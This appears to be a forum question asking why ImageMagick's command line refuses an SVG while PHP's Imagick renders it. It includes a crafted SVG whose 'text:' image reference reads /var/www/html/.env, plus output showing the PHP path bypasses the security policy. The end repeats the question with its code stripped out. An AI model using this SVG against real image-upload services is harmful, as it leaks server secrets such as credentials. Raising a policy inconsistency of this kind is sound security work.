Having this SVG as an example:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="2000" height="3000">
<image xlink:href="text:/var/www/html/.env" x="0" y="0" width="2000" height="3000"/>
</svg>
If you place it in /var/www/exploit.svg
And then if you run this php script
<?php
// Compare how CLI and PHP handle the same operation
echo "=== CLI behavior ===\n";
$output = shell_exec("magick /var/www/exploit.svg /tmp/cli_output.png 2>&1");
echo "CLI output: " . ($output ?: "(no output)") . "\n";
echo "CLI exit: " . (file_exists("/tmp/cli_output.png") ? "created file" : "no file") . "\n";
echo "\n=== PHP with same args ===\n";
// Try using the command-line args style
try {
$i = new Imagick();
// Set options that might affect error handling
$i->setOption("svg:xml-parse-huge", "true");
$i->readImage("/var/www/html/exploit.svg");
echo "PHP loaded\n";
$i->setImageFormat("png");
$i->writeImage("/tmp/php_output.png");
echo "PHP wrote file\n";
} catch (Exception $e) {
echo "PHP exception: " . $e->getMessage() . "\n";
}
You will see that the outputs are different:
=== CLI behavior ===
CLI output: magick: attempt to perform an operation not allowed by the security policy `TEXT' @ error/constitute.c/IsCoderAuthorized/454.
CLI exit: no file
=== PHP with same args ===
PHP loaded
PHP wrote file
Why CLI throws exception, while the php does not?
Having this SVG as an example:
If you place it in
/var/www/exploit.svgAnd then if you run this php script
You will see that the outputs are different:
Why CLI throws exception, while the php does not?